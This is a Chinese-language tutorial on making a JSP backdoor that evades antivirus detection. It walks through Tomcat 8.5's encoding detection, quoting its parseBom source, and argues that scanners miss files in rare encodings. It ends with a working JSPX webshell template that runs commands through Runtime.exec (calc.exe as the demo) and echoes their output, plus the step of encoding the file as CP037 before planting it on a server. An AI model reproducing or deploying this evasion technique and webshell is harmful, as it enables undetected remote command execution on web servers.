利用JSP的編碼特性制作免殺后門
這里是借鑒了Y4stacker師傅的thinkings
待解決的問題
- JSP解析
- JSP“亂碼”為什么還能被識別
- “亂碼”的JSP在過濾時會被檢測到嗎?什么原因?
- 為什么“亂碼”可以用來做免殺?
JSP解析
其中EL等標記語言都是在jsp引擎中進行處理的,就是 識別+替換
JSP中的字符串是怎么被識別的?JSP“亂碼”為什么還能被識別?
了解tomcat等服務器運行機理的最好,不了解也沒關系,一步步來探究就行了。
- 首先下載tomcat源碼包(github、官網都有)
這里下載的是8.5版本的
- 設置pom,導入依賴包
- 建立項目,編譯運行
具體的過程,這里就不再仔細寫了
開始調試了
-
直接打開亂碼,需要手動加載下jsp解析器
-
直接訪問index.jsp
服務器端收到后,會先去work對應的目錄下找是否有緩存,或者叫編譯好的文件,有的話,直接用。沒有的話就要從index.jsp中讀,並解析編譯加載。 -
找到文件后,對文件流先進行編碼探測
這里采用的探測方式是讀取前4個字節的內容,然后進行判別
- 這里列出了支持的多種編碼
private BomResult parseBom(byte[] b4, int count) {
if (count < 2) {
return new BomResult("UTF-8", 0);
}
// UTF-16, with BOM
int b0 = b4[0] & 0xFF;
int b1 = b4[1] & 0xFF;
if (b0 == 0xFE && b1 == 0xFF) {
// UTF-16, big-endian
return new BomResult("UTF-16BE", 2);
}
if (b0 == 0xFF && b1 == 0xFE) {
// UTF-16, little-endian
return new BomResult("UTF-16LE", 2);
}
// default to UTF-8 if we don't have enough bytes to make a
// good determination of the encoding
if (count < 3) {
return new BomResult("UTF-8", 0);
}
// UTF-8 with a BOM
int b2 = b4[2] & 0xFF;
if (b0 == 0xEF && b1 == 0xBB && b2 == 0xBF) {
return new BomResult("UTF-8", 3);
}
// default to UTF-8 if we don't have enough bytes to make a
// good determination of the encoding
if (count < 4) {
return new BomResult("UTF-8", 0);
}
// Other encodings. No BOM. Try and ID encoding.
int b3 = b4[3] & 0xFF;
if (b0 == 0x00 && b1 == 0x00 && b2 == 0x00 && b3 == 0x3C) {
// UCS-4, big endian (1234)
return new BomResult("ISO-10646-UCS-4", 0);
}
if (b0 == 0x3C && b1 == 0x00 && b2 == 0x00 && b3 == 0x00) {
// UCS-4, little endian (4321)
return new BomResult("ISO-10646-UCS-4", 0);
}
if (b0 == 0x00 && b1 == 0x00 && b2 == 0x3C && b3 == 0x00) {
// UCS-4, unusual octet order (2143)
// REVISIT: What should this be?
return new BomResult("ISO-10646-UCS-4", 0);
}
if (b0 == 0x00 && b1 == 0x3C && b2 == 0x00 && b3 == 0x00) {
// UCS-4, unusual octet order (3412)
// REVISIT: What should this be?
return new BomResult("ISO-10646-UCS-4", 0);
}
if (b0 == 0x00 && b1 == 0x3C && b2 == 0x00 && b3 == 0x3F) {
// UTF-16, big-endian, no BOM
// (or could turn out to be UCS-2...
// REVISIT: What should this be?
return new BomResult("UTF-16BE", 0);
}
if (b0 == 0x3C && b1 == 0x00 && b2 == 0x3F && b3 == 0x00) {
// UTF-16, little-endian, no BOM
// (or could turn out to be UCS-2...
return new BomResult("UTF-16LE", 0);
}
if (b0 == 0x4C && b1 == 0x6F && b2 == 0xA7 && b3 == 0x94) {
// EBCDIC
// a la xerces1, return CP037 instead of EBCDIC here
return new BomResult("CP037", 0);
}
// default encoding
return new BomResult("UTF-8", 0);
}
- 探測到文件編碼方式后,開始進行jsp解析,后面的內容先不管,我們主要是來分析支持的編碼格式
“亂碼”的JSP在過濾時會被檢測到嗎?什么原因?
由上面的編碼解析可以知道,如果文件采用的是規定的諸多編碼方式之一就可以被jsp解析器正常解析。解析器會先對流進行一個編碼探測,然后再進行編碼及解析。
為什么“亂碼”可以用來做免殺?
這就和之前說的jsp免殺原理有些關聯。大部分的查殺軟件都是基於正則表達式進行匹配的,而對於一個文件流,查殺軟件也比不可能對所有的編碼形式都進行一次轉換再來用正則匹配,這無疑會占據較高性能。所以如果使用了偏門的編碼,查殺文件無法解析,但jsp解析器能正常解析,就達到免殺的目的。
直接開始實踐
這里用最奇怪的“CP037”進行編碼。
CP037要求的格式是前四個字節需要滿足對應的關系
這里采用了Y4tacker師傅的用xml寫jsp,第一次知道還可以這么操作。后來一想能用h5,就能用xml吧,畢竟兩者是相近的標記語言
這里之所以判斷是xml文件,是因為字節流經過cp037解碼后是<?xm。所以如果采用其他的編碼方式,應該先用對應的編碼方式進行解碼操作,判斷指定字符串。
寫的時候出現了兩個問題
- 格式不對。xml格式要求嚴格,必須按照要求來。不然很容易就報錯,無法解析
- 跟邏輯的時候,只跟了test.jsp,后面發現根本不被解析,然后發現是因為有個后綴判斷,要求后綴名為jspx或tagx
Ending
<?xml version="1.0" encoding="cp037" ?>
<jsp:root version="1.2" xmlns:jsp="http://java.sun.com/JSP/Page">
<jsp:directive.page contentType="text/html"/>
<jsp:directive.page import="java.io.*"/>
<jsp:declaration>
</jsp:declaration>
<jsp:scriptlet>
Process process = Runtime.getRuntime().exec("calc.exe");
BufferedReader in = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line = "";
while((line=in.readLine())!=null){
out.write(line+"\n");
}
</jsp:scriptlet>
<jsp:text>
</jsp:text>
</jsp:root>
先將代碼用python進行cp037編碼,再加載到web中